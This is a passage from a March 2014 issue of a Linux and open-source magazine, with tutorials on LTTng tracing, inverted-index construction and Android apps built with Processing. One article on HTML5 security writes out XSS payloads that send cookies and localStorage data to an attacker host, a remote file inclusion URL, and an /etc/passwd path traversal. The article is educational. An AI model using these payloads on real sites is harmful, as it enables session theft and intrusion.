• cPanel Hosting • One Click Installation • Solid Support • Multiple Hosting Plans

• 4000+ Hosting • 2000+ Clients • 6500+ Domains • 11+ Years Experience

Trust Us. Trust our Ability. www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 29

Developers

How To

Turbocharged Tracing with LTTng LTTng is the acronym for Linux Tracing Toolkitnext generation. This highly speed tracing tool helps in tracking down performance issues and debugging problems across several concurrent processes and threads. Read on to learn how to install the tool and carry out a trace

racing in the Linux world is part of the performance analysis activities such as debugging, profiling or even logging. Tracers are generally quicker and more accurate than other tools used for performance analysis. But why do we need them?

Tracing 101

Consider a soft real-time system in which the correctness of the output is highly dependent on not just the accuracy, but also on how long a program takes to execute in it. In such a system, it’s not really feasible to use the traditional debug approach of pausing the program and analysing it. Even a small ptrace() call can add an unwanted delay to the whole execution. Simultaneously, there could be a need to gather huge amounts of data from the kernel as well as your user space application at the same time. Is there a way to gather all that without disrupting the program’s execution? Indeed, there is. The answer to all these questions is a technique called tracing, which is more like system-wide logging, but at a very low and fine grained level. Getting such details is particularly helpful where intricate, time accurate and well represented details of the system’s functioning cannot be achieved by traditional debuggers like GDB or KGDB. Neither can sampling-based profiling tools such as Perf prove to be completely useful. 30 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

Tracing can be divided according to the functional aspect (static or dynamic) or by its intended use (kernel or userspace tracing–also known as tracing domains, in the case of LTTng). Static tracing requires source code modification and recompilation of the target binary/kernel, whereas in dynamic tracing, you can insert a tracepoint directly into a running process/kernel or in a binary residing on the disk. Before we move further, let’s understand some jargon and see what most of the tracing tools do. Tracing usually involves adding a special tracepoint in the code. This tracepoint can look like a simple function call, which can be inserted anywhere in the code (in case of userspace applications) or be provided as part of standard kernel tracing infrastructure (tracepoint ‘hooks' in the Linux kernel). Each tracepoint hit is usually associated with an event. The events are very low level and occur frequently. Some examples are syscall entry/exit, scheduling calls, etc. For userspace applications, these can be your own function calls. In general, tracing involves storing associated data in a special buffer whenever an event occurs. This data is obviously huge and contains precise timestamps of the tracepoint hit, along with any optional event-specific information (value of variables, registers, etc). All this information can be stored in a specific format for later retrieval and analysis.

Tracing tools

An important point to note is that not all available tracing tools

How To

Developers

follow a standard way of gathering data. They are all designed differently. However, it is important to know that most of the tools are now converging in terms of functionality (like tracing, profiling, etc), and lots of features are beginning to overlap with each other. Some well-known tools that provide tracing or trace-like functionality are: SystemTap: Uses a scripting technique somewhat similar to Dtrace, with which you have to define your tracepoint in a specific script. Conditions could be associated with each tracepoint and written in a C-like SystemTap script. The script is then compiled to a kernel module before tracing starts. For dynamic tracing in the kernel, SystemTap uses kprobes and for static tracing, the TRACE_EVENT macro. In userspace, dynamic tracing is provided by the uprobes kernel module and Dyninst (pure user-space dynamic instrumentation). Ftrace: This is quite a popular tool among kernel developers and is part of the mainline kernel. Dynamic traces are based on kprobes and the static ones use the TRACE_EVENT macro. However, you can’t define conditions, and only filtering of the traces can be done. This is quite fast compared to other tools but is mainly aimed at the kernel guys. GDB: Surprise! In case you didn’t know, your friendly neighbourhood debugger doubles up as a tracer too. Userspace dynamic tracing can be used by the trace command, which is a TRAP-based technique to collect data. Use the ftrace command (not to be confused with Ftrace described above) for very fast tracing but remember that it can’t be used everywhere in the code. Conditions for trace collection can be provided, which are bytecode translated and executed at runtime. You can also use KGTP for dynamic tracing, which makes the kernel expose a GDB remote interface onto which any GDB’s instance can get hooked, and use the available trace commands. Perf: This is also a popular Swiss-army knife kind of analysis tool. Developers use this mainly to gather hardware performance counter data or gather information about bottlenecks in process execution. The tracing features of Perf are similar to Ftrace, though Ftrace is better in terms of performance. Ktap: This is a very recent entry into the tracing arena. It functions almost exactly like Dtrace as seen from its bytecode-based dynamic tracing scripts, which are very easy to implement. A lightweight VM is implemented in the kernel itself for bytecode interpretation of tracepoint scripts. It is not yet in the mainline kernel though.

zero impact on the overall execution of the target application. This makes LTTng a bit different from the other tools and a default choice for real time applications. Its tracing technique implements a fast wait-free read-copy-update (RCU) buffer for storing data from tracepoint execution. In Figure 1, you can see that the LTTng session daemon acts as a focal point for trace control. An instrumented application, which contains the user’s desired tracepoints, automatically registers itself to the session daemon just as its execution starts. So is the case with the kernel too. This is useful for handling simultaneous trace control for multiple trace sessions. From now on, the session daemon will manage all the tracing activity. The LTTng consumer daemon is responsible for handling the trace data coming from the applications. It exports raw trace data and builds a CTF to be written on the disk. The Common Trace Format (CTF) is a compact binary format, which stores all the trace data in a very well structured manner for further analysis by certain trace viewers and converters such as Babeltrace (command line), Linux Trace Toolkit Viewer (LTTV - graphical) or the Eclipse Tracing and Monitoring Framework (TMF - graphical). For example, you can view the exact time and the control flow through the various calls in the kernel, graphically, in a timeline using TMF, instead of wading through thousands of lines of trace data manually, as in Babeltrace’s output. We’ll cover more about using TMF efficiently later, when we discuss analysing traces graphically to diagnose bottlenecks in the system.

LTTng

The joys of tracing

Linux Trace Toolkit next generation is a very fast and extremely low-overhead kernel and userspace tracer. Low overhead, in simple terms, means that even with a ‘nonactivated' tracepoint inserted in the code, it gives near-

Figure 1: A typical tracing process flow with LTTng

Well, going further, let’s get our hands dirty with some tracing, and see all the insights a trace analysis can give about our kernel or application. The current stable release of LTTng is 2.3 Dominus Vobiscum. www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 31

Developers

How To

Note: The LTTng releases starting from version 2.0 onwards are named after Québec’s micro-brewery beers!

System setup

I am using Fedora as an example; however, you can search for similar packages on Ubuntu and proceed. First, update your system and install the Development Tools package, which will give you the kernel headers too. Considering that you have configured sudo, give the following commands: $ sudo yum update $ sudo yum group install “Development tools”

Check if the kernel headers package is the same version as your kernel: $ rpm -qa | grep kernel-devel kernel-devel-3.11.10-301.fc20.x86_64 $ uname -r 3.11.10-301.fc20.x86_64

Building the kernel modules

If all seems to be going well, start off with building and installing the LTTng kernel modules for Fedora. If you are on Ubuntu, skip this step as the lttng-modules package is already available in the repos. $ wget http://lttng.org/files/lttng-modules/lttng-modules2.3.4.tar.bz2 $ tar -xvf lttng-modules-2.3.4.tar.bz2 $ cd lttng-modules-2.3.4.tar.bz2 $ KERNELDIR=/usr/src/kernels/$(uname -r) make $ sudo KERNELDIR=/usr/src/kernels/$(uname -r) make modules_ install $ sudo depmod -a $ sudo modprobe lttng-tracer

You can use lsmod | grep lttng to see if the lttng_tracer module is loaded properly.

Installing LTTng packages

Install the packages for lttng-tools that provide the main components and the tracing client. You would also need lttngust for the userspace tracing library and its devel package, which will contain the necessary headers and examples for userspace tracepoints. Babeltrace, as described before, is a simple command line CTF trace viewer and converter. $ sudo yum install lttng-tools lttng-ust babeltrace lttng-ust-devel

Post-installation

For kernel tracing, we need the LTTng session daemon to be run 32 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

as root, and the LTTng client to be run either by root itself or by the user who should be part of the ‘tracing’ group. $ sudo groupadd -r tracing $ sudo usermod -aG tracing suchakra

We are almost set! Just reboot your machine and check if the session daemon (lttng-sessiond) has started automatically and if the LTTng kernel modules are in place or not. $ lsmod | grep lttng_tracer $ sudo service lttng-sessiond status $ groups foo tracing

Your first trace

Let’s start with some simple experiments by tracing a 1-second sleep at the kernel level. You can first check the available kernel events: $ lttng list -k Kernel events: ------------writeback_nothread (loglevel: TRACE_EMERG (0)) (type: tracepoint) writeback_queue (loglevel: TRACE_EMERG (0)) (type: tracepoint) writeback_exec (loglevel: TRACE_EMERG (0)) (type: tracepoint) writeback_start (loglevel: TRACE_EMERG (0)) (type: tracepoint) writeback_written (loglevel: TRACE_EMERG (0)) (type: tracepoint) writeback_wait (loglevel: TRACE_EMERG (0)) (type: tracepoint) writeback_pages_written (loglevel: TRACE_EMERG (0)) (type: tracepoint) . . sched_switch (loglevel: TRACE_EMERG (0)) (type: tracepoint) .

A long list of available kernel events is shown. Let’s pick sched_switch for our quick experiment and proceed. Make sure that lttng-session is running as the root before proceeding: #create a new tracing session $ lttng create osfy Session osfy created. Traces will be written in /home/suchakra/lttng-traces/osfy20131227-220359

How To

Developers

#enable the sched_switch event and $ lttng enable-event -k sched_switch kernel event sched_switch created in channel channel0 #start tracing $ lttng start #start sleeping $ sleep 1 #stop tracing $ lttng stop Waiting for data availability. Tracing stopped for session osfy

So all the sched_switch commands between the start and stop of traces are traced, and the traces are written in /home/ suchakra/lttng-traces/osfy-20131227-220359. We can have a quick look at them using Babeltrace. Alternatively, the lttng view command calls babeltrace as the default viewer. $ babeltrace /home/suchakra/lttng-traces/osfy-20131227-220359

This will list all the events with timing and other related context information like prev_comm, next_comm, next_tid, etc, per line. The problem is that there is an information overload for the user. In fact, we can do the following: $ lttng view | wc -l 14520

Observe that LTTng recorded a total of 14520 sched_ switch events in the short tracing duration, which is a lot to understand in one go. To see the events of interest (those related to the sleep command), take a look at the following code snippet: $ lttng view | grep sleep [22:14:45.118927309] (+0.004878641) isengard.localdomain sched_switch: { cpu_id = 3 }, { prev_comm = “swapper/3”, prev_tid = 0, prev_prio = 20, prev_state = 0, next_comm = “sleep”, next_tid = 11766, next_prio = 20 } [22:14:45.119069564] (+0.000000194) isengard.localdomain sched_switch: { cpu_id = 3 }, { prev_comm = “sleep”, prev_ tid = 11766, prev_prio = 20, prev_state = 64, next_comm = “swapper/3”, next_tid = 0, next_prio = 20 } [22:14:45.147798113] (+0.000301434) isengard.localdomain sched_switch: { cpu_id = 1 }, { prev_comm = “sleep”, prev_ tid = 11801, prev_prio = 20, prev_state = 1, next_comm = “swapper/1”, next_tid = 0, next_prio = 20 } . . .

Figure 2: A sample trace observed in TMF

Just a cursory look at the above code can tell you that each line is a single sched_switch event recorded from the kernel. The timestamps are high precision as you can see from two consecutive events. The one in parenthesis is the‘delta', i.e., the time between the previous event and the current one. The cpu_id tells the CPU for which the event was scheduled and various other context information is attached. All this is part of the CTF trace written. After tracing is over, we can destroy the current tracing session as follows: $ lttng destroy

Going further, we can use nice GUI tools such as Eclipse TMF for analysing the trace. Figure 2 shows what similar information would look like in TMF. You can see the timeline and control flow view, which is more intuitive. In the next article we will go into the details about userspace tracing with some real life examples and then move on to explore how to analyse a trace with TMF. Happy tracing!

Resources In the meantime, have a look at http://lttng.org/documentation and http://www.youtube.com/user/lttng for more information. Note that the videos are a bit old and some steps may vary.

Acknowledgements Thanks to Simon Marchi and Francis Giraldeau for reviewing this article and to the ‘tracing folks' at EfficiOS, Ericsson and École Polytechnique de Montréal.

By: Suchakrapani Sharma The author is a PhD student at École Polytechnique de Montréal. He is currently doing research on dynamic tracing tools, and has varied interests—from performance analysis tools to embedded Linux and UX/graphics design. For more details, visit http://suchakra.wordpress.com

www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 33

CODE

SPORT

Sandya Mannarswamy

In this month’s column, we continue our discussion on information retrieval.

ast month, I focused on the basic problem of information retrieval, namely, ‘ad-hoc information retrieval’ where, given a collection of documents, the user can arbitrarily query for any information which may or may not be contained in the given document collection. One of the well-known examples of ad-hoc information retrieval systems is the Web search engine, using which the user can pose a query on an arbitrary topic, and the set of documents is all the searchable Web pages available on the ‘World Wide Web’. A related but different kind of information retrieval is what is known as a ‘filtering’ task. In the case of filtering, a user profile is created, and a set of documents that may be of relevance or interest to the user are filtered from the document collection and presented to the user. A well-known example of information filtering is the personalisation of news delivery based on the user’s profile. Typically, in the case of the information filtering task, the set of documents in the document collection keeps changing dynamically (for instance, new news stories arrive and old news stories are retired from the collection), while the user query (for finding documents which are of interest based on the user profile) remains relatively stable. This is in contrast to ‘adhoc information retrieval’, wherein the document collection remains stable but queries keep changing dynamically. In last month’s column, we discussed the Boolean model of ad-hoc information retrieval, wherein user information needs are presented in terms of a keyword-based query, and the documents in the collection are looked up using a Boolean model for the presence of the keywords in the query. For example, given that the document collection is the entire works of Shakespeare, the query term ‘Julius Caesar’ would find the documents that contain the query terms ‘Julius’ and ‘Caesar’ in them. In order to facilitate the queries, a data structure known as inverted index is generally built. The inverted index consists of the dictionary of terms in the document collection and a ‘pos list’ for each term, listing the document IDs which contain that term. Typically, the ‘pos list’ has not just the document IDs of the documents containing the term, but also contains the ‘position’ in the document where

34 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

the term appears. Given the set of documents in the document collection, the pre-processing step is to construct the inverted index. So how do we construct this index? As I mentioned before, each document is scanned and broken into tokens or terms. There are two ways of constructing an inverted index. The first one is known as the ‘Blocked Sort Based Indexing’ (BSBI) method. Till now, when building inverted indexes was discussed, we made an implicit assumption that the data can fit in the main memory. But that assumption does not hold true for large document collections and, obviously, for a Web search. Hence, we need to consider the case when the document collection cannot be analysed in its entirety in the main memory to construct the inverted index. That’s where BSBI comes in. BSBI divides the document collection into blocks, where each block can fit in the main memory. It then analyses one block, gets the terms in that block, and creates a sorted list of (term ID, doc ID) pairs. We can think of the sorting as being done with the ‘term ID’ as the primary key and the ‘doc ID’ as the secondary key. Note that since the block can fit in main memory, the sorting can be done in the main memory for that block and the results of the sorting are written back to the stable storage. Once all the blocks are processed, we have an ‘inverted index’ corresponding to each block of the document collection on disk in intermediate files. These intermediate ‘inverted indices’ need to be merged in order to construct the final ‘inverted index’ for the document collection. Let us assume that we have divided the document collection into 10 blocks. After the intermediate index construction step, we have 10 intermediate index files on disk. Now, in the final merging process, we open the 10 files, read data from each file into a read buffer, and we open a write buffer for writing back the results. During each step, we select the smallest term ID among those present in the read buffer and process it. All the document IDs corresponding to the term ID are processed and added to the ‘pos list’ for that term, and written back to disk. We can view this process as the equivalent of merging 10 individual sorted lists into one final sorted list. I leave it as an exercise for the reader to compute the complexity associated with BSBI.

Guest Column Note that BSBI is a multi-pass algorithm since it breaks up the document collection into multiple blocks, processes each block individually in a sorting phase, and then merges the sorted results of each block in the final step. The alternative to BSBI is the ‘Single Pass In-Memory Indexing’ (SPIMI). While BSBI processes each block and creates a sorted list of (term ID, doc ID) pairs, SPIMI does not have the pre-processing step of creating the sorted list of (term ID, doc ID) pairs. Similar to BSBI, SPIMI also divides the collection into blocks. But the division into blocks is governed by the memory available. As long as there is enough free memory available, SPIMI continues to process one term at a time. On encountering a term, SPIMI checks to see if the term is already encountered as part of the current block’s dictionary. If not, it creates a new term entry in the dictionary and creates a ‘pos list’ associated with that term. If the term is already present in the dictionary, it retrieves the ‘pos list’ associated with that term and adds this ‘doc ID’ to the ‘pos list’. When there is not enough free memory, it stops the processing of terms, sorts the current terms dictionary, writes it to disk and starts the processing of the next block. After processing all the terms, there are a number of on-disk block dictionaries which need to be combined to create the final ‘inverted index’. Note that, till now, we have been discussing the creation of an inverted index for a document collection in a single computer system, and the only hardware constraint we have considered so far is the amount of available main memory in the computer system where the document collection is being processed. However, consider the case of constructing an inverted index for the document collection that comprises the ‘World Wide Web’. This task cannot be done on a single computer system and needs to be carried out on a very large cluster of machines. Hence, a distributed ‘inverted index’ creation method is needed. This is typically done in search engines using the ‘Map Reduce’ paradigm, which I will cover in my next column. In the earlier discussion on BSBI and SPIMI, we assumed that documents can be scanned to get a token stream, and each token can be considered as a term for the document collection. Similarly, a user query is also broken down into query terms, and we look for documents which contain the query terms using the inverted index. We have glossed over many of the issues that arise when creating the terms from documents or queries. Documents can typically contain many common words such as ‘the’, ‘an’, ‘a’, etc. Such words do not contribute to deciding which documents are more relevant to a user query. Hence, such common terms need to be eliminated from being added to the term dictionary. This is typically achieved by what is known as a ‘stop word list’. Any word in the ‘stop word list’ is skipped from being processed when it is encountered in a document. There are further complications in tokenisation. How do we handle hyphenated terms such as ‘anti-discriminatory’ or ‘wellknown’, etc? Do we break them into individual pieces or treat them as a single term? How do we handle the case sensitivity of terms in document collection and in queries? Case sensitivity can be useful in distinguishing between two semantically different query terms such as ‘Windows’ and ‘windows’. For instance, ‘Windows’ could potentially refer to the Windows operating

CodeSport

system, whereas ‘windows’ could refer to windows in a house. But maintaining case sensitivity in an inverted index makes the index bloat up and, hence, most search engines/information retrieval systems do not support case sensitivity. So far we have been considering simple queries where the user types the exact query without any spelling mistakes. But, frequently, users do misspell the query terms. Misspelled queries need to be handled intelligently by information retrieval systems such as search engines. We have often seen search engines give us intelligent hints such as, “Did you mean ‘carrot’?” when the user misspells ‘carrot’ as ‘carot’. One way of handling misspelled queries is to compute the edit distance from the misspelled word to words closest to it in the dictionary, and then use that set of words as the search term. Misspelled queries become more difficult to detect and deal with for proper nouns, such as in cases like ‘Tom Cruise’ getting misspelled as ‘Tom Cruse’, etc. The major challenge is to identify the subset of words in the dictionary for which we want to compute the edit distance with the query term. Another challenge for information retrieval systems is the issue of handling wild card queries. I leave it as a take-away question to the reader to come up with an algorithm for handling wild card queries.

My ‘must-read book’ for this month

This month’s book suggestion comes from one of our readers, Nita Kumar. Her recommendation is the book, ‘Beautiful Data: The Stories Behind Elegant Data Solutions’ by Toby Segaran and Jeff Hammerbacher. It comprises a series of essays on elegant data solutions encompassing a wide spectrum of topics such as opinion polls data analysis, data analysis of Mars images and data storage on the cloud. By the way, Toby Segaran is the author of the famous book, ‘Programming the Collective Intelligence’, which discusses how to mine the data on the Web. Thank you, Nita for your recommendation. If you have a favourite programming book/article that you think is a must-read for every programmer, please do send me a note with the book’s name, and a short write-up on why you think it is useful, so I can mention it in this column. This would help many readers who want to improve their software skills. If you have any favourite programming questions/software topics that you would like to discuss on this forum, please send them to me, along with your solutions and feedback, at sandyasm_AT_yahoo_DOT_com. Till we meet again next month, happy programming!

By: Sandya Mannarswamy The author is an expert in systems software and is currently working with Hewlett Packard India Ltd. Her interests include compilers, multi-core and storage systems. If you are preparing for systems software interviews, you may find it useful to visit Sandya's LinkedIn group Computer Science Interview Training India at http:// www.linkedin.com/groups?home=HYPERLINK "http://www. linkedin.com/groups?home=&gid=2339182"&HYPERLINK "http:// www.linkedin.com/groups?home=&gid=2339182"gid=2339182

www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 35

Developers

How To

Android Apps Made Easy with Processing Any computer enthusiast would love to create an Android app, a seemingly difficult task. But combine Android with Processing and it is easy. Here’s a simple demonstration on how to use Android in tandem with Processing to create apps.

ndroid application development has become the coolest thing in the cyber world, for geeks and developers, and there is a great demand for them. Tutorials on Android app development with Eclipse can become frustrating at times. But as always, with the open source world, there is always an alternative way that works just out-of-the-box. Android is a Linux-based operating system for mobile devices such as smartphones and tablet computers. It has been developed by the Open Handset Alliance, led by Google, and other companies. The initial developer of the software, Android Inc, was bought over by Google in 2005. The Android distribution was launched in 2007, and the Open Handset Alliance was founded. This is a consortium of 86 hardware, software and telecommunications companies devoted to advancing open standards for mobile devices. Google releases the Android code as open source, under the Apache License. The Android Open Source Project (AOSP) is tasked with the maintenance and further development of Android.

38 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

About Processing

Processing is an open source programming language and integrated development environment (IDE) built for the electronic arts and visual design communities with the purpose of teaching the basics of computer programming in a visual context, and to serve as the foundation for electronic sketchbooks. The project was initiated in 2001 by Casey Reas and Benjamin Fry. It brings complex graphics programming down to earth for the common man. For more, visit http:// www.processing.org Before starting this tutorial I would like readers to get acquainted with Processing and its code, which is Java, and learn to write basic programs with it. So combining Processing with Android can make the open source world livelier. Let’s look at how to develop Android apps using Processing and package them as .apk files.

Prerequisites

For this article I have used Processing 2.1 on Ubuntu 13.10. Processing can be downloaded from http://www.

How To processing.org/download/?processing Extract it to any folder of your choice. Download the Android SDK from: http://developer. android.com/sdk/index.html. Extract it where ever you like. Go into the extracted Android-SDK folder, into the tools subfolder and run android. In Linux, just open the terminal, cd to that folder and type ./android Through the GUI that launches, update and install all available packages. The main package is the Android SDK Platform-tools You can install the version of Android you want. Since I had a phone with Android 2.3, that is what I installed. Windows users need the Google USB drivers too. Once this is done, your system is ready to develop Android apps.

Developers

Figure 1: Android mode

Coding

On the terminal, cd to the folder in which you have extracted Processing and type ./processing. Make sure that the file Processing has the executable permission set. Start Processing. On the top right corner you will find a box called standard. Click on it and select android. Now write down the code. Most of the code in Processing can be used in Android, but there are certain exceptions. Here’s a small code example, in which we are creating an app to use a finger to draw on the smartphone screen. void setup() { size(640,360); background(100); smooth(); stroke(255); } void draw() { if(mousePressed==true) { ellipse(mouseX,mouseY,5,5); } }

Press the Play button on the top left of the Processing window and wait till the emulator is loaded with the app. You can also connect your Android device to your PC and make the app run on your device. For that, you will have to activate the USB debugging mode in your Android device. Once you have tested your sketch and are satisfied, it is time to distribute it to the world and for that we have to package it.

Generating the .apk file

From the file menu in Processing, select Export Android Project. A folder called Android is created in your sketch folder.

Figure 2: Generate the keystore

Open the terminal and cd to that particular folder. Then generate a private-public keypair, as follows: $ keytool -genkey -v -keystore <keyfile.keystore> -alias <alias> -keyalg RSA -keysize 2048 -validity 10000

This command is nothing but generating a key and calling it draw.keystore. And it is valid for 10,000 days. Answer all the questions which follow and remember those answers. Next, build the .apk: $ ant release

This command will generate a file called sketchnamerelease-unsigned.apk in the bin folder. Sign the app: $ jarsigner -verbose -keystore <Keyfile.keystore> bin/drawwww.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 39

Developers

How To

release-unsigned.apk <alias>

To execute this command, do remember to be in the directory in which your keyfile.keystore was located. Finally, generate the .apk file For this, cd to the folder in which your Android SDK has been installed. Then cd to the Tools directory in AndroidSDK and type the following command: $ ./zipalign -v 4 bin/sketchnamerelease-unsigned.apk name.apk

Your .apk file will be located in the tools folder as this is the location from Figure 3: Sign the .apk which you executed the zipalign command.

Wrapping it up

You now have your Android app ready for distribution to the world. In case you want your own icons, create icon-36.png, icon-48.png and icon-72.png. These should be 36×36, 48×48 and 72×72 pixel icons. Place them in the sketch folder (not the data folder or any other sub-folder), and rebuild the app.

40 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

For more information, refer to http://wiki.processing. org/w/Android This is how we step into the world of Android. By: Vineeth Kartha The author is a post-graduate student in embedded systems at BITS Pilani, Goa. He has a great passion for open source technologies, computer programming and electronics. And when not coding, he loves to do glass paintings. He can be reached at vineeth.kartha@gmail.com or at http://www.thebeautifullmind.com

Let's Try

Developers

Demystifying HTML 5 Attacks An attack vector is a path or means by which a hacker can get access to a website. HTML5 is rapidly emerging as the standard for rich Web applications—an alternative to proprietary applications like Silverlight and Flash. Unfortunately, it throws up security challenges in the form of attack vectors, which this article demystifies to a great extent.

TML5 is redefining the future of Web applications by providing a rich set of new features along with extending the existing features and APIs of HTML4. HTML, the heart of the Web, has brought about significant advances with HTML5 by providing support for the latest multimedia and server communication. All the latest versions of browsers have support for HTML5. HTML5 brings a whole slew of new features to Web browsers, some of which can be a threat to security and privacy. The new features include tags like <button>, <video>, <footer>, <audio> etc, and new attributes for tags such as autocomplete and autofocus. It also includes some additional features like local storage, cross origin resource sharing, etc. Even though all these features are an added benefit for Web developers, each of them can also be easily exploited.

Client-side or local storage: A secure feature?

Local storage is one of the prime features of HTML5. The main advantage is that you can make the HTML applications run while you are not connected to the network and possibly sync the data when you go online again. This improves the flexibility of the app. It's also a performance booster as you can show large amounts of data as soon as the user clicks on to your site, instead of waiting for it to download again. In other words, local storage has many advantages that help you to simplify tasks and also improve the performance. With a single line of code, you can add and retrieve information from local storage as follows: localStorage.setItem(key, value); localStorage.getItem(key); www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 41

Developers

Let's Try

But from the security perspective, is local storage a good idea? Well, the answer is ‘no’. Let's look into the problems of local storage.

Cross site scripting (XSS): The deadliest evil!

Cross site scripting vulnerabilities date back to 1996—the early days of the World Wide Web. Over time, these types of attacks have evolved so much that they are one of the most critical vulnerabilities on the Internet today. It is estimated that seven out of ten Web applications developed are vulnerable to XSS attacks! XSS results in a type of injection problem, which happens mainly when data is included in dynamic content that is sent to a Web user without being validated for malicious script. The malicious content often takes the form of JavaScript but can also include HTML, Flash or any other type of code that the browser can execute. Let’s look at an example. Let us assume that the site http://victim.com/ is vulnerable to XSS. How will we check it? The basic method is by trying to inject a JavaScript pop-up alert string along with the URL: http://victim.com/“><SCRIPT>alert('XSS%20Testing')</SCRIPT>

If the commands inside the URL go unsanitised, this will trigger a pop-up alert. See Figure 1. At this point, an attacker may continue to modify this URL to include more sophisticated XSS payloads to exploit users. Let us try a more advanced payload that can steal the user's cookie: http://victim.com/"><SCRIPT>var+img=new+Image();img. src="http://attacker/"%20+%20document.cookie; </SCRIPT>

The JavaScript payload above creates an image DOM object (var image=new image). Since the JavaScript code executed above is within the http://victim.com/ context, the attacker has access to cookie data. The image object is then assigned to another domain, namely, http:// attacker.com/ appended with the Web browser cookie string where the data is sent. Now the attacker can send the framed exploit code to victims via different methods like emails, IM, etc. If the user happens to click on the link, the cookie information will be immediately copied and sent to the attacker. The chances that users will click on the link are very high because the exploit URL contains the real domain name or, rather, a lookalike of the domain name. Another method of testing for XSS is to inject malicious code into the search box provided in the victim's website. If you inject the above XSS testing query in the search box, the URL looks somewhat like this: http://victim.com/search.php?q=“><SCRIPT>alert('XSS%20 Testing')</SCRIPT> 42 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

Figure 1: Testing for XSS

If vulnerable, this can also trigger a pop-up box in the website.

XSS attack vectors in HTML5

HTML5 introduces several new tags and attributes like the ones we saw in the earlier part of this article. Each one of those attributes can be used to inject malicious code: <video onerror=“Javascript:alert(1)”><source> <audio onerror=“Javascript:alert(1)”><source>

In the above case, filtering the < and > tags can easily prevent tag injection but that doesn't mean the site is not vulnerable to XSS. Let’s assume that we have a search box here in which < and > tags are filtered. The attacker can very easily inject something like onload=javascript:alert(“XSS”), which can be included in the search query. Some good blacklisting filters will filter attributes like onload also. But HTML5 has a number of new attributes that don't exist in outdated filters: <form id=demo onforminput=alert(1)>....</form> <input type=text onunload=alert(1)> <form id=demo2 /><button form=demo2 formaction=javascript: alert(1)>Button Text</button>

Finally, one of the other ways of attack is through injection within the input tag. HTML5 has introduced ways to create self-triggering XSS such as: <input type=”text” value=”Malicious code” onfocus=”alert(1)” autofocus>

As mentioned earlier, client side storage (local storage) raises issues of security and privacy. Let us see why this is so. XSS can be a lethal attack vector for local storage. All the information that is stored in the local storage can

Let's Try be accessed with the help of JavaScript. So what if a Web application is found vulnerable to XSS? The attacker can very easily implement an exploit JavaScript code to steal the user cookie and all other information stored in the local storage. We have already implemented an exploit code above that can steal the cookie from victims without their knowledge. The same can be implemented in HTML5 with a little modification. http://victim.com/<script>document.write("<imgsrc='http:// attacker.com?cookie="+localStorage.getItem('phrase')+"'>");</ script>

This modified payload can very easily get the details of the cookie from victims without their knowledge. So stored user credentials or cookie information in local storage can be very easily stolen if the Web developers are not careful with their application.

Cross origin resource sharing: obtaining the reverse shell

HTML5 has another feature called cross origin requests, which allows browsers to make Ajax calls from one domain to another, and read the response as long as the other allows it. This feature can be advanced to cross domain http traffic, which can be used to set up a browser equivalent of the reverse shell. Now let us see how this attack works. This attack also makes use of XSS vulnerabilities. Attackers first target a site that is vulnerable to XSS and inject malicious code into it. When a legitimate user visits the vulnerable site and happens to click on the malicious code that the attackers have injected, the payload makes a cross domain call to the attackers’ website, which responds with the ‘access control allow origin’ header. This creates a two-way communications channel from the vulnerable site to the attacker site. In other words, you could say that the attackers get a reverse shell, and can now access the vulnerable site via the victim's browser by sending commands over the Internet. There are tools available in the market that can simplify the tasks, like Shell of the future, which is a reverse Web shell handler for XSS exploitation.

Remote code execution

While developing HTML5, the developers made a significant difference in XMLhttprequest( ), which created a potential flaw in the sites that use formatting such as: http://www.victim.com/#index.php http://www.victim.com/index.php?page=example.php

In this type of formatting, the site code will parse out the page to load index.php, and then use XMLhttprequest( ) to grab the file example.php from its Web server before

Developers

directly adding the code of that page to the current page. If the developer is not careful enough while designing this, the XMLhttprequest( ) can be exploited to fetch pages from any site and not only the current victim Web server. This can lead to an attacker including a remote code into the XMLhttprequest( ), which it will try to fetch and execute: http://www.victim.com/index.php?page=http://attacker.com/ maliciouscode.php

This can even lead to the attacker getting a root shell on the Web server, which can be used for further attacks. Consider a situation in which the developers were careful in designing the website and so made sure the XMLhttprequest( ) request fetches files only from their current Web server and not from any other server. Does that mean they are secure? The answer is ‘no’. The attacker can still make further URL modifications to list the files inside the Web server that contains credential information: http://www.victim.com/index.php?page=../../../../../../etc/ passwd

If that URL goes unsanitised, this will lead to the listing of all the contents inside the /etc/passwd file where the username-password hashes are stored in a Linux-based machine. This type of attack that leads to the unauthorised access of credential files in the local Web server is called a local file inclusion attack. Even though HTML5 was supposed to simplify the task of Web developers and to quickly implement applications that are dynamic and flexible, it is certain that little importance was given to security. The introduction of new features not only added to the flexibility but has also raised issues of security and privacy. Most of the new features implemented can be used illegally to inject malicious code and to access unauthorised content. Defence mechanisms including filtering user inputs, blacklisting unnecessary tags in the input field, sanitising search queries before showing of the result, etc, will help in preventing some common attacks, but attacks like XSS and remote code execution are very difficult to prevent. References [1] https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) [2] https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet [3] http://html5sec.org/ [4] http://blog.andlabs.org/2010/07/shell-of-future-reverse-web-shell.html

By: Anirudh Anand The author is a second year Computer Science student from Amrita University, whose core interest lies in Web application security and penetration testing. He is a passionate blogger and an OWASP contributor. You can follow him on www.securethelock. com or mail him at anirudhanand@securethelock.com.

www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 43

Joy of Programming

Ganesh Samarthyam

Guest Column

Understanding Concurrency Bugs Concurrency has come of age with the wide use of multi-core processors. In this article, let us explore the importance of writing correct concurrent code.

